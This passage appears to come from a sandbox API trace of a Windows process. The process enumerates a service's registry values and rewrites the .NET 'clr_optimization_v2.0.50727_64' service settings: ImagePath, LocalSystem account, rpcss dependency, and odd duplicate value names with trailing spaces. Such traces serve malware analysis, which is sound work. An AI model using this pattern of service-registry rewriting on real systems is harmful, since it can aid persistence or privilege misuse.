lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.218] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.218] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0210.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0210.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0210.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0210.218] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f2eb0*, cbData=0x6b | out: lpData=0x21f2eb0*) returned 0x0 [0210.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0210.219] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0210.220] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0210.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0210.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0210.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0210.220] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0210.220] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0210.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0210.221] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0210.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0210.222] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0210.226] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0210.226] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0210.226] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0210.226] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0210.226] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0210.227] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0210.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0210.227] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0210.228] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0210.228] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0210.228] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe", lpDst=0x21f3f98, nSize=0x3e | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe") returned 0x3d [0210.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0210.228] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe", cbData=0x3d | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0210.229] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" [0210.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0210.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0210.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.229] LocalFree (hMem=0x7f03d0) returned 0x0 [0210.229] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe", cbData=0x3d | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0210.229] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x2) returned 0x8038a0 